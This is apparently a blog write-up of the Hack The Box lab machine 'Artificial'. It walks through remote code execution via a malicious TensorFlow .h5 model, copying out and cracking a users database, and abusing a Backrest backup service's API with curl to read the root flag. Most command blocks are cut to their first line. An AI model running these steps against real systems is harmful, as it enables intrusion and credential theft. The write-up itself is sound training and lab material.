Hackthebox: Artificial
Overview
Artificial is a easy-difficulty machine from Hack The Box with the following scenario: find Dockerfile using TensorFlow 2.13 -> craft malicious TensorFlow .h5 model to achieve RCE (model deserialization) -> upload model -> shell -> read application files and dump users.db -> extract user password hashes -> crack hashes (offline) -> SSH -> user in sysadm group -> discover backrest backup and dump backrest config -> decode base64 bcrypt hash -> crack backrest_root password -> authenticate to Backrest service -> create repo targeting /root and a manual plan to back up /root/root.txt -> run backup -> list snapshots -> dump snapshot with root flag.

Reconnaissance
1 | PORT STATE SERVICE VERSION |
We can see that we have our usual 22 ssh port and a web app deployed on port 80.
Web Application - http://artificial.htb/
After adding this entry to our /etc/hosts and access the web app, we can find the Dockerfile:
1 | FROM python:3.8-slim |
We notice that it is using tensorflow-cpu==2.13.1
After doing some googling regarding tensorflow exploits, we find these two reports:
- https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model
- https://www.tensorflow.org/tutorials/keras/save_and_load
They are detailing how we can achieve remote code execution using tensorflow by making a malicious module, adding it and compiling it to be savec in a .h5 file which we can load later to our website:1
2ββ$ sudo docker run -it --rm -v "$PWD":/app -w /app tensorflow/tensorflow:2.13.0 python3 exploit.py
upload the h5 file and start a listener And we do get a callback!
Now doing some enumeration we find a database file that we get out to our box:
1 | PS C:\Users\FouedSaidi> scp [email protected]:/home/app/app/instance/users.db . |
Inside of it we find some user hashes:
1 | βββ(kaliγΏkali)-[~/Desktop] |

We can then pivot to gael user and get our user flag:
1 | app@artificial:/home$ su gael |
Privilege Escalation
While enumerating the system I noticed gael is in the sysadm group which looked interesting:
1 | app@artificial:~$ id |
I searched for files owned by that group and found a backup artefact:
1 | gael@artificial:~$ find / -group sysadm 2>/dev/null |
Pulling the backup config from the repo I had staged locally (I had previously dumped the app files during the RCE) revealed a Backrest configuration with a base64-encoded bcrypt password:
1 | βββ(kaliγΏkali)-[~/Desktop/backrest/.config/backrest] |
I decoded the passwordBcrypt and then cracked it with john:
1 | ββ$ echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d |
The password for backrest_root is !@#$%^.
Accessing the backrest service
The backup service listens on port 9898 on the target. I forwarded the port locally and opened the service in the browser:
1 | # on attacker machine |
I authenticated using the credentials discovered in the config:
1 | username: backrest_root |
Creating a repo and backing up /root
Using the Backrest UI (the service provides a simple API/UI), I created a repository that points to /root and created a plan to back up /root/root.txt. Below are the equivalent curl interactions I used (UI steps are identical):
Create repo (named root_repo) β repo targets /root:
1 | ββ$ curl -s -X POST http://127.0.0.1:9898/api/repos \ |
Create a plan that backs up /root/root.txt using the created repo:
1 | ββ$ curl -s -X POST http://127.0.0.1:9898/api/plans \ |
Trigger a backup run (backup now):
1 | ββ$ curl -s -X POST http://127.0.0.1:9898/api/backups \ |
Inspecting snapshots and dumping the file
Once the backup completed I listed snapshots and found the snapshot id:
1 | ββ$ curl -s -u backrest_root:'!@#$%^' http://127.0.0.1:9898/api/snapshots | jq . |
I listed the snapshot contents to verify the file exists:
1 | ββ$ curl -s -u backrest_root:'!@#$%^' \ |
Finally I dumped /root/root.txt from that snapshot:
1 | ββ$ curl -s -u backrest_root:'!@#$%^' \ |
The dump command returned the contents of /root/root.txt β the root flag.
- Title: Hackthebox: Artificial
- Author: Foued SAIDI
- Created at : 2025-10-24 17:45:39
- Updated at : 2025-11-01 12:59:28
- Link: https://kujen5.github.io/2025/10/24/Hackthebox-Artificial/
- License: This work is licensed under CC BY-NC-SA 4.0.